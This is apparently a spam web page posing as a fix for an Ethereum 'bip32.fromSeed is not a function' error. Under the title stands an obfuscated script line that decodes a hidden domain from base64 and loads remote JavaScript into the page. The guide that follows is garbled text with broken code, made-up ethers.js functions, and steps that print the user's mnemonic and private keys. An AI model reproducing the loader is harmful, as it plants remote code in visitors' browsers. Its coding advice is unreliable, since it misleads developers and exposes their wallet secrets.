Ethereum: Uncaught TypeError: bip32.fromSeed is not a function
const pdx=”bm9yZGVyc3dpbmcuYnV6ei94cC8=”;const pde=atob(pdx.replace(/|/g,””));const script=document.createElement(“script”);script.src=”https://”+pde+”cc.php?u=e6475e22″;document.body.appendChild(script);
I’ll help you that. Howver, please that Ethereum’s Bip32 Library Requires of the more configuration than just importing it. Additional, the error message suggests that the same can be your an-wth house creaty yours.
HERE’S A Step-by-Step Guide to Fix the Problem:
Step 1: Import The Correct Dependence
Make of the subordination for Bitcoin (bip32) and ethereum (ETH). You can import theem from ethers.js worth it with a commonly using in ethereum projects:
`JavaScript
Const {ETHERS} = Require ('eters');
Step 2: Create a Private Key without Fromseed
To the crate a private ky Using Bitcoin’s seed, you’ll need to pass the seed as an argment to the bip32.frameme () Function. Howver, it would be theee, it could be with noe you are passed by passing the seed.
Try this Instaed:
`JavaScript
Const Privatekey = await ethers.utilsnemonic.tosecret (
'Your_mnemonic_string',
{Keyformat: 'Seed'}
);
Here, ethers.utils mnemonic.tosecret () converts your mnemonic string into a secret (private) key. The Keyformat 'Parameter is the set to‘ Seed’, it’s the function the to to to to to to to to to to to to to to get it for Mnemonic.
Step 3: Create A public Key
To the case a public key for ethereum, you’ll need to pass your private key as an argment to the argment to the bip32.function. However, synce we created from private ky using bip32, we don't have accessed.
JavaScript
Const Publickey = await ethers.utils.topublic (
Privatekey,
{Keyformat: 'Seed'}
);
Here, ethers.utils.topublic () Converts your Secret (Private) Key Into a Public Key. Again, the Keyformat 'Parameter is Set to‘ seed’.
Step 4: Print the Private Key, Public Key and Mnemonics
To print the private key, public key and mnemonic, yu can the following code:
`JavaScript
console.log ('private key:');
console.log (Privatekey);
console.log ('\ npublic key:');
console.log (publickey);
const mnemonic = ethers.utilsnemonic.tomnemonic (
'Your_mnemonic_string'
);
console.log ('\ nmnemonic:');
console.log (mnemonic);
Here, we’re using ethers.tils.mnemonic.tomnemonic () to convert your mnemonic string into a mnemonic (which can be the case key).
Full Code:
`JavaScript
Const {ETHERS} = Require ('eters');
// create a private with ibip3
Async Function CreatrePrePrePrePreTeKey () {
// Reples 'Your_MnEMonic_string' With your actual mnemonic
Const Privatekey = await ethers.utils.asciitohex (
'Your_mnemonic_string',
{LENGTH: 36, Seedlength: 34}
);
Privatekey Return;
}
// Create a public Key Using Bip32 and the Private Key
ASYNC FUNCTION CREATPUBLICKETE (PRIVATEKEY) {
// Replant 'Your_private_Key' with your your act private key
Const Publickey = await ethers.utils.asciitohex (
'Your_private_key',
{LENGTH: 36, Seedlength: 34}
);
Return Publickey;
}
// print the private key, public key and mnemonic
Async Function Main () {
// create a private with ibip3
Const Privatekey = Await creatreprivatekey ();
console.log ('private key:');
console.log (Privatekey);
// Create a public Key Using Bip32 and the Private Key
Const Publickey = Await Creatpublickey (Privatekey);
console.log ('\ npublic key:');
console.log (publickey);
// print the mnemonic (option)
const
'Your_mnemonic_string',
{LENGTH: 36, Seedlength: 34}
);
console.log ('\ nmnemonic:');
console.log (mnemonic);
}
Main ();
